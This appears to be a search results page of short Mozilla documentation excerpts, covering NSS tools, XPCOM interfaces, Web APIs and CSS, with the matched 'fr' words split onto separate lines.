fromorigin modified functions sgn_update (see cryptohi.h) the parameter "input" of this function is changed
from unsigned char * to const unsigned char *.
...And 5 more matches
NSS tools : ssltab
data sent
from the client to the server is in blue; the server's reply is in red.
...the simplest way to use the debugging tool is to execute the following command
from a command shell: $ ssltap www.netscape.com the program waits for an incoming connection on the default port 1924.
...the browser retrieves the requested page
from the server at www.netscape.com, but the page is intercepted and passed on to the browser by the debugging tool on intercept.
...And 5 more matches
NSS tools : ssltap
data sent
from the client to the server is in blue; the server's reply is in red.
...the simplest way to use the debugging tool is to execute the following command
from a command shell: $ ssltap www.netscape.com the program waits for an incoming connection on the default port 1924.
...the browser retrieves the requested page
from the server at www.netscape.com, but the page is intercepted and passed on to the browser by the debugging tool on intercept.
...And 5 more matches
sslintro.html
nss_setdomesticpolicy, nss_setexportpolicy, nss_set
francepolicy, or ssl_cipherpolicyset.
... initializing caches ssl peers
frequently reconnect after a relatively short time has passed.
...clears all sessions
from the client session cache.
...And 5 more matches
NSS_3.12.3_release_notes.html
new in nss 3.12.3 changes in behavior: in the development of nss 3.12.3, it became necessary to change some old library behaviors due to the discovery of certain vulnerabilities in the old behaviors, and to correct some errors that had limited nss's ability to interoperate with cryptographic hardware and software
from other sources.
...the information in this table is excerpted
from https://developer.mozilla.org/en/nss_reference/nss_environment_variables environment variable value type description nsrandcount integer (byte count) sets the maximum number of bytes to read
from the file named in the environment variable nsrandfile (see below).
... bug 426413: audit messages need distinct types bug 438870:
free
freebl hashing code of dependencies on nspr and libutil bug 439115: db merge allows nickname conflicts in merged db bug 439199: sse2 instructions for bignum are not implemented on windows 32-bit bug 441321: tolerate incorrect encoding of dsa signatures in ssl 3.0 handshakes bug 444404: libpkix reports unknown issuer for nearly all certificate errors bug 452391: certutil -k incorrectly...
...And 5 more matches
NSS tools : ssltap
data sent
from the client to the server is in blue; the server's reply is in red.
...the simplest way to use the debugging tool is to execute the following command
from a command shell: $ ssltap www.netscape.com the program waits for an incoming connection on the default port 1924.
...the browser retrieves the requested page
from the server at www.netscape.com, but the page is intercepted and passed on to the browser by the debugging tool on intercept.
...And 5 more matches
JS::Remove*Root
scriptroot(jscontext *cx, js::heap<jsscript *> *rp); void removevaluerootrt(jsruntime *rt, js::heap<js::value> *vp); void removestringrootrt(jsruntime *rt, js::heap<jsstring *> *rp); void removeobjectrootrt(jsruntime *rt, js::heap<jsobject *> *rp); void removescriptrootrt(jsruntime *rt, js::heap<jsscript *> *rp); name type description cx jscontext * the context
from which to remove the root.
... rt jsruntime * the runtime
from which to remove the root.
... vp js::heap<js::value> address of the js::value variable to remove
from the root set.
...And 5 more matches
XForms Accessibility
assistive technologies api for xforms is supported starting
from firefox 3 (gecko 1.9).
... name it is formed
from value of child xforms label element if the element doesn't have labelledby attribute.
... description it is formed
from value of child xforms hint element if the element doesn't have describedby attribute.
...And 5 more matches
Using the Places history service
nsibrowserhistory: adds functions used by the basic browser like marking pages as typed in the url bar, and removing pages as
from the history interface.
... nsiautocompletesearch: url-bar autocomplete
from history
from 1.9.1 (firefox3.1) on, don't use any places service on (or after) quit-application has been notified, since the database connection will be closed to allow the last sync, and changes will most likely be lost.
... differences
from previous implementations the previous nsglobalhistory service stored one entry for each page in history.
...And 5 more matches
IAccessibleTable
1.0 66 introduced gecko 1.9 inherits
from: iunknown last changed in gecko 1.9 (firefox 3) typically all accessible objects that represent cells or cell-clusters of a table will be at the same time children of the table.
...however, that range includes at least the intervals
from the
from the first row or column with the index 0 up to the last (but not including) used row or column as returned by nrows() and ncolumns().
...typically this is the value returned
from iaccessible2.indexinparent(), but in the case where the table cells are not direct children of the table this is the cell index specified by the "table-cell-index" object attribute obtained
from parsing the attributes string returned by calling iaccessible2.attributes() on the cell object.
...And 5 more matches
nsIAccessNode
inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the nsiaccessnode implementations are instantiated lazily.
...omputedstylecssvalue(in domstring pseudoelt, in domstring propertyname); domstring getcomputedstylevalue(in domstring pseudoelt, in domstring propertyname); void scrollto(in unsigned long ascrolltype); void scrolltopoint(in unsigned long acoordinatetype, in long ax, in long ay); attributes note: attempting to access the attributes of a node that is unattached
from the accessible tree will result in an exception - ns_error_failure.
...note: renamed
from accessibledocument in gecko 2.0 domnode node the dom node this nsiaccessnode is associated with.
...And 5 more matches
nsIAccessibleEvent
inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description accessible nsiaccessible the nsiaccessible associated with the event.
... is
fromuserinput boolean returns true if the event was caused by explicit user input, as opposed to purely originating
from a timer or mouse movement.
... event_selection_remove 0x8008 0x0014 0x0011 an item within a container object has been removed
from the selection.
...And 5 more matches
nsICommandLine
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) components may implement the nsicommandlinehandler interface to add custom command line handling behavior.
... return value the position of the flag in the command line, or -1 if the flag is not found.getargument() gets the value an argument
from the array of command-line arguments, given the index into the argument list.
... handleflag() finds the specified flag, removing it
from the array of flags.
...And 5 more matches
nsICookieManager2
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits
from: nsicookiemanager this interface is included in the services.jsm javascript code module.
...onents.utils.import("resource://gre/modules/services.jsm"); var cookieservice = services.cookies; method overview void add(in autf8string ahost, in autf8string apath, in acstring aname, in acstring avalue, in boolean aissecure, in boolean aishttponly, in boolean aissession, in print64 aexpiry); boolean cookieexists(in nsicookie2 acookie); unsigned long countcookies
fromhost(in autf8string ahost); boolean findmatchingcookie(in nsicookie2 acookie, out unsigned long acount
fromhost); obsolete since gecko 1.9 nsisimpleenumerator getcookies
fromhost(in autf8string ahost); void importcookies(in nsifile acookiefile); methods add() adds a cookie.
... countcookies
fromhost() returns the number of cookies that would be returned to a given host.
...And 5 more matches
nsIDOMParser
creating a domparser to create a domparser object
from a web page or a chrome script running in a window, simply use new domparser().
... when you create a domparser
from a privileged script, you can pass parameters to the constructor, more on that below.
... to create a domparser when the constructor is not available (e.g.,
from a js xpcom component, a js module, or an xpcshell test), use: var parser = components.classes["@mozilla.org/xmlextras/domparser;1"] .createinstance(components.interfaces.nsidomparser); // optionally, call parser.init(principal, documenturi, baseuri); principals, document and base uri note: this section covers changes introduced to domparser in gecko 1.9.
...And 5 more matches
nsIDOMWindowInternal
66 introduced gecko 1.0 deprecated gecko 8.0 inherits
from: nsidomwindow last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) in gecko 8.0 this interface was merged into the nsidomwindow interface.
... this interface no longer has any members; it exists solely to prevent add-ons that reference it
from failing completely.
...oid print() void moveto(in long xpos, in long ypos) void moveby(in long xdif, in long ydif) void resizeto(in long width, in long height) void resizeby(in long widthdif, in long heightdif) void scroll(in long xscroll, in long yscroll) nsidomwindow window interface's open() method loads the specified resource into the browsing context (window, <i
frame> or tab) with the specified name.
...And 5 more matches
nsIFile
inherits
from: nsisupports last changed in gecko 30.0 (firefox 30.0 / thunderbird 30.0 / seamonkey 2.27) nsifile is the correct platform-agnostic way to specify a file; you should always use this instead of a string to ensure compatibility.
... an nsifile can be retrieved by either instantiating an nsilocalfile using a platform specific path string or by using cross-platform locations retrieved
from the directory service.
... to create an nsifile
from a path you can use fileutils.jsm: var fileutils = cu.import("resource://gre/modules/fileutils.jsm").fileutils var nsifile = new fileutils.file( filename ) note: nsilocalfile was merged with this interface in gecko 14.
...And 5 more matches
nsILocalFileMac
inherits
from: nsilocalfile last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview cfurlref getcfurl(); native code only!
...obsolete since gecko 1.9.2 boolean ispackage(); void launchwithdoc(in nsilocalfile adoctoload, in boolean alaunchinbackground); void opendocwithapp(in nsilocalfile aapptoopenwith, in boolean alaunchinbackground); void setfiletypeandcreator
fromextension(in string aextension); obsolete since gecko 1.9.2 void setfiletypeandcreator
frommimetype(in string amimetype); obsolete since gecko 1.9.2 attributes attribute type description bundledisplayname astring returns the display name of the application bundle (usually the human readable name of the application) read only.
...the caller is responsible for calling c
frelease() on it.
...And 5 more matches
nsIMsgDatabase
last changed in gecko 1.9 (firefox 3) inherits
from: nsidbchangeannouncer method overview void open(in nsilocalfile afoldername, in boolean acreate, in boolean aleaveinvaliddb); void forcefolderdbclosed(in nsimsgfolder afolder); void close(in boolean aforcecommit); void commit(in nsmsgdbcommit committype); void forceclosed(); void clearcachedhdrs; void resethdrcachesize(in unsigned long size); nsimsgdbhdr getmsghdrforkey(in nsmsgkey key); nsimsgdbhdr getmsghdrformessageid(in string messageid); boolean containskey(in nsmsgkey key); nsimsgdbhdr createnewhdr(in nsmsgkey ...
...key); void addnewhdrtodb(in nsimsgdbhdr newhdr, in boolean notify); nsimsgdbhdr copyhdr
fromexistinghdr(in nsmsgkey key, in nsimsgdbhdr existinghdr, in boolean addhdrtodb); void listallkeys(in nsmsgkeyarrayref outputkeys); native code only!
... void getnewlist(out unsigned long count, array, size_is(count) out nsmsgkey newkeys); nsisimpleenumerator getcachedhits(in string asearchfolderuri); void re
freshcache(in string asearchfolderuri, in unsigned long anumkeys, array, size_is (anumkeys) in nsmsgkey anewhits, out unsigned long anumbadhits, array, size_is(anumbadhits) out nsmsgkey astalehits); void updatehdrincache(in string asearchfolderuri, in nsimsgdbhdr ahdr, in boolean aadd); boolean hdrisincache(in string asearchfolderuri, in nsimsgdbhdr ahdr); attributes attribute type descrip...
...And 5 more matches
nsIMsgFolder
inherits
from: nsisupports method overview void startfolderloading(); void endfolderloading(); void updatefolder(in nsimsgwindow awindow); nsimsgfilterlist getfilterlist(in nsimsgwindow msgwindow); void setfilterlist(in nsimsgfilterlist filterlist); void forcedbclosed(); void delete(); void deletesubfolders(in nsisupportsarray folders, in nsimsgwindow msgwindow); void propagatedelete(in nsimsgfolder folder, in boolean deletestorage,in nsimsgwindow msgwindow); ...
... boolean iscommandenabled(in acstring command); boolean matchorchangefilterdestination(in nsimsgfolder folder,in boolean caseinsensitive); boolean confirmfolderdeletionforfilter(in nsimsgwindow msgwindow); void alertfilterchanged(in nsimsgwindow msgwindow); void throwalertmsg(in string msgname, in nsimsgwindow msgwindow); astring getstringwithfoldername
frombundle(in string msgname); void notifycompactcompleted(); long comparesortkeys(in nsimsgfolder msgfolder); [noscript] void getsortkey(out octet_ptr key, out unsigned long length); boolean callfilterplugins(in nsimsgwindow amsgwindow); acstring getstringproperty(in string propertyname); void setstringproperty(in string propertyname, in acstrin...
...ormessages(in nsisupportsarray amessages, in acstring ajunkscore); void applyretentionsettings(); boolean fetchmsgpreviewtext([array, size_is (anumkeys)] in nsmsgkey akeystofetch, in unsigned long anumkeys, in boolean alocalonly, in nsiurllistener aurllistener); void addkeywordstomessages(in nsisupportsarray amessages, in acstring akeywords); void removekeywords
frommessages(in nsisupportsarray amessages, in acstring akeywords); autf8string getmsgtext
fromstream(in nsimsgdbhdr amsghdr, in nsiinputstream astream, in long abytestoread, in long amaxoutputlen, in boolean acompressquotes); attributes attribute type description supportsoffline boolean readonly offlinestoreoutputstream nsioutputstream re...
...And 5 more matches
Component; nsIPrefBranch
this object may be obtained
from the preferences service (nsiprefservice) and used to get and set default and/or user preferences across the application.
... inherits
from: nsisupports last changed in gecko 58 (firefox 58 / thunderbird 58 / seamonkey 2.55) this object is created with a "root" value which describes the base point in the preferences "tree"
from which this "branch" stems.
... clearuserpref() called to clear a user set value
from a specific preference.
...And 5 more matches
nsIProtocolHandler
inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean allowport(in long port, in string scheme); nsichannel newchannel(in nsiuri auri); nsiuri newuri(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type description defaultport long the default port is the port the protocol uses by default.
... uri_forbids_automatic_document_replacement 1<<5 "automatic" loads that would replace the document (such as a meta re
fresh, certain types of xlinks, and other non-user-triggered loads) are not allowed if the originating uri has this protocol flag.
... uri_is_local_file 1<<9 uris for this protocol
from other origins should only be allowed if those origins should have access to the local file system.
...And 5 more matches
nsISHistoryListener
inherits
from: nsisupports last changed in gecko 1.7 a session history listener is notified when pages are added to, removed
from, and loaded
from session history.
... the listener can prevent any action (except adding a new session history entry)
from happening by returning false
from the corresponding callback method.
...new documents are added to session history by the docshell when new pages are loaded in a
frame or content area; for example by calling nsiwebnavigation.loaduri().
...And 5 more matches
nsIStreamConverter
netwerk/streamconv/public/nsistreamconverter.idlscriptable provides an interface to implement when you have code that converts data
from one type to another.
... inherits
from: nsistreamlistener last changed in gecko 1.7 suppose you had code that converted plain text into html.
...it will then convert that data
from type x to your desired output type and return converted data to you via the nsistreamlistener you passed in by calling its nsistreamlistener.ondataavailable() method.
...And 5 more matches
nsITreeView
inherits
from: nsisupports last changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) implementing a nsitreeview in lieu of dom methods for tree creation can improve performance dramatically, and removes the need to make changes to the tree manually when changes to the database occur.
... constants constant value description progress_normal 1 note: renamed
from progressnormal in gecko 1.8 progress_undetermined 2 note: renamed
from progressundetermined in gecko 1.8 progress_none 3 note: renamed
from progressnone in gecko 1.8 drop_before -1 drop_on 0 drop_after 1 indropbefore 0 obsolete since gecko 1.8 indropon 1 obsolete sin...
...to get the behavior where drops are only allowed on items, such as the mailnews folder pane, always return false
from candropbeforeafter().
...And 5 more matches
nsIXSLTProcessor
content/xslt/public/nsixsltprocessor.idlscriptable xslt processor inherits
from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/document-transformer;1?type=xslt.
...arparameters(); nsivariant getparameter(in domstring namespaceuri, in domstring localname); void importstylesheet(in nsidomnode style); void removeparameter(in domstring namespaceuri, in domstring localname); void reset(); void setparameter(in domstring namespaceuri, in domstring localname, in nsivariant value); nsidomdocument transformtodocument(in nsidomnode source); nsidomdocument
fragment transformto
fragment(in nsidomnode source, in nsidomdocument output); methods clearparameters() removes all set parameters
from this nsixsltprocessor.
... reset() remove all parameters and stylesheets
from this nsixsltprocessor.
...And 5 more matches
nsIAbCard/Thunderbird3
in a big change
from the original nsiabcard, properties are now stored in a hash table instead of as attributes on the interface, allowing it to be more flexible.
...ment, company _aimscreenname dates: anniversaryyear, anniversarymonth, anniversaryday birthyear, birthmonth, birthday webpage1 (work), webpage2 (home) custom1, custom2, custom3, custom4 notes integral properties: lastmodifieddate popularityindex prefermailformat (see nsiabprefermailformat) boolean properties: allowremotecontent inherits
from: nsiabitem method overview nsivariant getproperty(in autf8string name, in nsivariant defaultvalue); [noscript] astring getpropertyasastring(in string name); [noscript] autf8string getpropertyasautf8string(in string name); [noscript] pruint32 getpropertyasuint32(in string name); [noscript] boolean getpropertyasbool(in string name); void set...
... this will be removed
from the interface at a later date.
...And 5 more matches
Using the Gecko SDK
an xpcom component will be compatible with future versions of mozilla if it only makes use of
frozen gecko apis.
... a
frozen gecko api is one that is included in the gecko and marked
frozen with the text <tt>@status
frozen</tt> (with nspr as the exception to the rule).
... the
frozen gecko api consists of a set of component interfaces (c++ vtables) and <tt>extern "c"</tt> symbols exported
from the xpcom library and the nspr libraries.
...And 5 more matches
Xray vision
gecko runs javascript
from a variety of different sources and at a variety of different privilege levels.
... javascript loaded
from normal web pages is called content code.
... because this code is being loaded
from arbitrary web pages, it is regarded as untrusted and potentially hostile, both to other websites and to the user.
...And 5 more matches
Address Book examples
once you have an object that implements nsiabcollection (see above), you can search for cards with particular properties within that collection using getcard
fromproperty.
... let card = collection.getcard
fromproperty("jobtitle", "software engineer", false); if you are searching for a card with a particular email address, you can use the cardforemailaddress function that will match against multiple email addresses stored in one card.
... editing contacts once you have obtained a card
from an nsiabdirectory (see above), you can edit it in a two step process, firstly, change the properties that you to edit: card.setproperty("firstname", "jane"); card.setproperty("lastname", "doe"); secondly, call modifycard to save the card in the database.
...And 5 more matches
Mailnews and Mail code review requirements
thunderbird's
front-end code is stored in mozilla/mail.
... (a fair amount of this code is forked
from code in the mailnews/ directory).
... if a reviewer feels that the patch would benefit
from additional reviews, they should request a second review
from an appropriate person.
...And 5 more matches
Thunderbird Binaries
thunderbird current release can be downloaded
from https://www.mozilla.org/thunderbird/ past thunderbird releases can be downloaded
from https://releases.mozilla.org/pub/thunderbird/releases/ early preview releases whilst writing new versions of thunderbird, developers release preview versions, known as betas.
... these builds are made to get feedback
from testers and extension developers.
... preview releases are available
from http://www.mozilla.org/thunderbird/channel/ nightly builds nightly builds are cutting-edge builds.
...And 5 more matches
Browser Side Plug-in API - Plugins
« previousnext » this chapter describes methods in the plug-in api that are available
from the browser.
... warning: you must only call these
from the main thread; calling them
from other threads is not supported and may have unpredictable results.
... npn_getauthenticationinfo this function is called by plug-ins to get http authentication information
from the browser.
...And 5 more matches
Work with animations - Firefox Developer Tools
this article covers three tools you can use to visualize and edit animations: the animation inspector editing @key
frames editing timing functions animation inspector the page inspector's animations view displays animations in the page synchronized along a timeline, with a draggable widget you can use to move to any point in the timeline and see the page at that point.
... it displays animations created using css transitions, css @key
frames rules, or the web animations api.
...the bar is: blue if a transition was used to animate a property orange if a @key
frames animation was used green if the web animations api was used the bar contains a lightning bolt icon if the property was animated using the compositor thread (see more about the cost of animating different css properties).
...And 5 more matches
AudioWorkletProcessor.process - Web APIs
the method is called synchronously
from the audio rendering thread, once for each block of audio (also known as a rendering quantum) being directed through the processor's corresponding audioworkletnode.
... important: currently, audio data blocks are always 128
frames long—that is, they contain 128 32-bit floating-point samples for each of the inputs' channels.
... if the automation rate of the parameter is "a-rate", the array will contain 128 values — one for each
frame in the current audio block.
...And 5 more matches
DOMMatrix - Web APIs
properties this interface inherits properties
from dommatrixreadonly, though some of these properties are altered to be mutable.
...the identity matrix is one in which every value is 0 except those on the main diagonal
from top-left to bottom-right corner (in other words, where the offsets in each direction are equal).
... 2d 3d equivalent a m11 b m12 c m21 d m22 e m41 f m42 methods this interface includes the following methods, as well as the methods it inherits
from dommatrixreadonly.
...And 5 more matches
DOMMatrixReadOnly - Web APIs
the identity matrix is one in which every value is 0 except those on the main diagonal
from top-left to bottom-right corner (in other words, where the offsets in each direction are equal).
... dommatrixreadonly.rotate
fromvector() returns a new dommatrix created by rotating the source matrix by the angle between the specified vector and (1, 0).
...(in other words, down the first column
from top to bottom, then the second column, and so forth.) dommatrixreadonly.tofloat64array() returns a new float64array containing all 16 elements (m11, m12, m13, m14, m21, m22, m23, m24, m31, m32, m33, m34, m41, m42, m43, m44) which comprise the matrix.
...And 5 more matches
Element.animate() - Web APIs
syntax var animation = element.animate(key
frames, options); parameters key
frames either an array of key
frame objects, or a key
frame object whose property are arrays of values to iterate over.
... see key
frame formats for more details.
... iterationcomposite optional determines how values build
from iteration to iteration in this animation.
...And 5 more matches
Guide to the Fullscreen API - Web APIs
for example, <i
frame> elements have the allowfullscreen attribute in order to opt-in to allowing their content to be displayed in fullscreen mode.
... note: fullscreen requests need to be called
from within an event handler or otherwise they will be denied.
... browser compatibility document.fullscreen the compatibility table on this page is generated
from structured data.
...And 5 more matches
HTMLElement - Web APIs
ent" target="_top"><rect x="381" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, element, and implements those
from documentandelementeventhandlers, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement and toucheventhandlers.
... htmlelement.offsetleft read only returns a double, the distance
from this element's left border to its offsetparent's left border.
... htmlelement.offsetparent read only returns a element that is the element
from which all offset calculations are currently computed.
...And 5 more matches
MediaStreamTrack.enabled - Web APIs
when enabled, a track's data is output
from the source to the destination; otherwise, empty
frames are output.
... in the case of audio, a disabled track generates
frames of silence (that is,
frames in which every sample's value is 0).
... for video tracks, every
frame is filled entirely with black pixels.
...And 5 more matches
Node - Web APIs
most notable are document, element, and document
fragment.
...1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties in addition to the properties below, node inherits properties
from its parent, eventtarget.
... name value element_node 1 attribute_node 2 text_node 3 cdata_section_node 4 entity_reference_node 5 entity_node 6 processing_instruction_node 7 comment_node 8 document_node 9 document_type_node 10 document_
fragment_node 11 notation_node 12 node.nodevalue returns / sets the value of the current node.
...And 5 more matches
OVR_multiview2 - Web APIs
constants this extension exposes 4 constants that can be used in getparameter() or get
framebufferattachmentparameter().
...
framebuffer_attachment_texture_num_views_ovr number of views of the
framebuffer object attachment.
...
framebuffer_attachment_texture_base_view_index_ovr base view index of the
framebuffer object attachment.
...And 5 more matches
Page Visibility API - Web APIs
visibility states of an <i
frame> are the same as the parent document.
... hiding an <i
frame> using css properties (such as display: none;) doesn't trigger visibility events or change the state of the document contained within the
frame.
... policies in place to aid background page performance separately
from the page visibility api, user agents typically have a number of policies in place to mitigate the performance impact of background or hidden tabs.
...And 5 more matches
Pinch zoom gestures - Web APIs
there are many types of gestures,
from the simple single-touch swipe gesture to the more complex multi-touch twist gesture, where the touch points (aka pointers) move in different directions.
... this example shows how to detect the pinch/zoom gesture, which uses pointer events to detect whether the user moves two pointers closer or farther apart
from each other.
...the pinch out (zoom in) gesture, which moves the two pointers away
from each other, changes the target element's background color to pink.
...And 5 more matches
PublicKeyCredential - Web APIs
it inherits
from credential, and was created by the web authentication api extension to the credential management api.
... other interfaces that inherit
from credential are passwordcredential and federatedcredential.
...use
from within an <i
frame> element will not have any effect.
...And 5 more matches
PushEvent - Web APIs
it contains the information sent
from an application server to a pushsubscription.
... properties inherits properties
from its parent, extendableevent.
... methods inherits methods
from its parent, extendableevent.
...And 5 more matches
RTCIceCandidatePairStats - Web APIs
firstrequesttimestamp optional a domhighrestimestamp value which specifies the time at which the first stun request was sent
from the local peer to the remote peer for this candidate pair.
... lastpacketreceivedtimestamp optional a domhighrestimestamp value indicating the time at which the last packet was received by the local peer
from the remote peer for this candidate pair.
... lastpacketsenttimestamp optional a domhighrestimestamp value indicating the time at which the last packet was sent
from the local peer to the remote peer for this candidate pair.
...And 5 more matches
RTCInboundRtpStreamStats - Web APIs
this is an indicator of how often the stream has lagged, requiring
frames to be skipped in order to catch up.
...
framesdecoded a long integer value indicating the total number of
frames of video which have been correctly decoded so far for this media source.
... this is the number of
frames that would have been rendered if none were dropped.
...And 5 more matches
Range - Web APIs
the range interface represents a
fragment of a document that can contain nodes and parts of text nodes.
...range objects can also be retrieved by using the getrangeat() method of the selection object or the caretrange
frompoint() method of the document object.
... range.clonecontents() returns a document
fragment copying the nodes of a range.
...And 5 more matches
ShadowRoot - Web APIs
the shadowroot interface of the shadow dom api is the root node of a dom subtree that is rendered separately
from a document's main dom tree.
...this defines whether or not the shadow root's internal features are accessible
from javascript.
... properties included
from documentorshadowroot the shadowroot interface includes the following properties defined on the documentorshadowroot mixin.
...And 5 more matches
SharedWorker - Web APIs
the sharedworker interface represents a specific kind of worker that can be accessed
from several browsing contexts, such as several windows, i
frames or even workers.
... note: if sharedworker can be accessed
from several browsing contexts, all those browsing contexts must share the exact same origin (same protocol, host and port).
... properties inherits properties
from its parent, eventtarget, and implements properties
from abstractworker.
...And 5 more matches
Using readable streams - Web APIs
finding some examples we will look at various examples in this article, taken
from our dom-examples/streams repo.
... creating your own custom readable stream the simple stream pump example we’ve been studying throughout this article includes a second part — once we’ve read the image
from the fetch body in chunks, we then enqueue them into another, custom stream of our own creation.
... the readablestream() constructor it is easy to read
from a stream when the browser provides it for you as in the case of fetch, but sometimes you need to create a custom stream and populate it with your own chunks.
...And 5 more matches
WebGLRenderingContext.vertexAttribPointer() - Web APIs
also, we have to call gl.enablevertexattribarray() to tell webgl that this attribute should be filled with data
from our array buffer.
...however, if you are designing the format yourself, or your geometry is in text files (like wave
front .obj files) and must be converted into an arraybuffer at runtime, you have
free choice on how to structure the memory.
...this is independent
from the location inside the array buffer, so your attributes can be sent in a different order than how they are stored in the array buffer.
...And 5 more matches
Lifetime of a WebRTC session - Web APIs
in this article, we'll look at the lifetime of a webrtc session,
from establishing the connection all the way through closing the connection when it's no longer needed.
...network address translation (nat) is a standard which supports this address sharing by handling routing of data inbound and outbound to and
from devices on a lan, all of which are sharing a single wan (global) ip address.
... the problem for users is that each individual computer on the internet no longer necessarily has a unique ip address, and, in fact, each device’s ip address may change not only if they move
from one network to another, but if their network’s address is changed by nat and/or dhcp.
...And 5 more matches
Web Animations API Concepts - Web APIs
this means we can use it to create and manipulate css-like animations that go
from one pre-defined state to another, or we can use variables, loops, and callbacks to create interactive animations that adapt and react to changing inputs.
...while four out of five browsers supported smil, it only animated svg elements, could not be used
from css, and was very complex — often leading to inconsistent implementations.
...each document has a master timeline, document.timeline, which stretches
from the moment the page is loaded to infinity — or until the window is closed.
...And 5 more matches
Web Authentication API - Web APIs
in their most basic forms, both create() and get() receive a very large random number called a challenge
from the server and they return the challenge signed by the private key back to the server.
...the parameters received
from the server will be passed to the create() call, typically with little or no modification and returns a promise that will resolve to a publickeycredential containing an authenticatorattestationresponse.
...the parameters received
from the server will be passed to the get() call, typically with little or no modification.
...And 5 more matches
Web Workers API - Web APIs
web workers makes it possible to run a script operation in a background thread separate
from the main execution thread of a web application.
...worker()) that runs a named javascript file — this file contains the code that will run in the worker thread; workers run in another global context that is different
from the current window.
...for example, you can't directly manipulate the dom
from inside a worker, or use some default methods and properties of the window object.
...And 5 more matches
self.createImageBitmap() - Web APIs
the createimagebitmap() method creates a bitmap
from a given source, optionally cropped to contain only a portion of that source.
... sx the x coordinate of the reference point of the rectangle
from which the imagebitmap will be extracted.
... sy the y coordinate of the reference point of the rectangle
from which the imagebitmap will be extracted.
...And 5 more matches
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
return value a new xrreferencespace object describing a reference space with the same native origin as the reference space on which the method was called, but with an origin offset indicating the distance
from the object to the point given by originoffset.
... xrsession.requestreferencespace("local") .then((refspace) => { xrreferencespace = refspace; xrreferencespace = xrreferencespace.getoffsetreferencespace( new xrrigidtransform(startposition, {x:0, y:0, z:1.0, w: 1.0})); xrsession.requestanimation
frame(draw
frame); }); in this code, we obtain a local reference space, then use getoffsetreferencespace() to create a new space whose origin is adjusted to a position given by startposition and whose orientation is looking directly along the z azis.
... then the first animation
frame is requested using xrsession's requestanimation
frame().
...And 5 more matches
XRReferenceSpace: reset event - Web APIs
in either case, the event is sent before any webxr animation
frames which make use of the new origin are executed.
...the event is sent before any animation
frame callbacks are executed to render the pending
frame, to ensure that those callbacks have the updated coordinate system available.
... for a bounded-floor reference space, the coordinate system can be reset if the user exits the boundaries of the reference space and enters a new one (such as by crossing
from one level to another in a game, where each level is its own map with its own coordinate system).
...And 5 more matches
XRSession - Web APIs
properties in addition to the properties listed below, xrsession inherits properties
from its parent interface, eventtarget.
... methods xrsession provides the following methods in addition to those inherited
from its parent interface, eventtarget.
... cancelanimation
frame() removes a callback
from the animation
frame painting callback
from xrsession's set of animation
frame rendering callbacks, given the identifying handle returned by a previous call to requestanimation
frame().
...And 5 more matches
XRTargetRayMode - Web APIs
typically a target ray is drawn
from the source of the targeting system along the target ray in the direction in which the user is looking or pointing.
... the target ray can be anything
from a simple line (ideally fading over distance) to an animated effect, such as the science-fiction "phaser" style shown in the screenshot above.
...the target ray extends
from the hand (or the object in the hand) in the targeted direction.
...And 5 more matches
Operable - Accessibility
guideline 2.1 — keyboard accessible: make all functionality available
from a keyboard this guideline covers the necessity of making core website functionality available via a keyboard in addition to other means (e.g.
...
freehand drawing).
... understanding character key shortcuts note: also see the wcag description for guideline 2.1 keyboard accessible: make all functionality available
from a keyboard.
...And 5 more matches
@supports - CSS: Cascading Style Sheets
the and operator the and operator creates a new expression
from the conjunction of two shorter expressions.
...the following are both equivalent: @supports (display: table-cell) and (display: list-item) and (display:run-in) {} @supports (display: table-cell) and ((display: list-item) and (display:run-in)) {} the or operator the or operator creates a new expression
from the disjunction of two shorter expressions.
...'='<attr-modifier> = i | s examples testing for the support of a given css property @supports (animation-name: test) { … /* css applied when animations are supported without a prefix */ @key
frames { /* other at-rules can be nested inside */ … } } testing for the support of a given css property or a prefixed version @supports ((perspective: 10px) or (-moz-perspective: 10px) or (-webkit-perspective: 10px) or (-ms-perspective: 10px) or (-o-perspective: 10px)) { … /* css applied when 3d transforms, prefixed or not, are supported */ } testing for the non-support of...
...And 5 more matches
Basic concepts of flexbox - CSS: Cascading Style Sheets
everything we do with flexbox refers back to these axes, so it is worth understanding how they work
from the outset.
... choose column or column-reverse and your main axis will run
from the top of the page to the bottom — in the block direction.
... the items start
from the start edge of the main axis.
...And 5 more matches
background-position - CSS: Cascading Style Sheets
similarly, background-position: 25% 75% means the spot on the image that is 25%
from the left and 75%
from the top will be placed at the spot of the container that is 25%
from the container's left and 75%
from the container's top.
... essentially what happens is the background image dimension is subtracted
from the corresponding container dimension, and then a percentage of the resulting value is used as the direct offset
from the left (or top) edge.
...t to auto: 100px - 300px = -200px (container & image difference) so that with position percentages of -25%, 0%, 50%, 100%, 125%, we get these image-to-container edge offset values: -200px * -25% = 50px -200px * 0% = 0px -200px * 50% = -100px -200px * 100% = -200px -200px * 125% = -250px so with these resultant values for our example, the left edge of the image is offset
from the left edge of the container by: + 50px (putting the left image edge in the center of the 100-pixel-wide container) 0px (left image edge coincident with the left container edge) -100px (left image edge 100px to the left of the container, in this example that means the middle 100px image area is centered in the container) -200px (left image edge 200px to the left of the container, i...
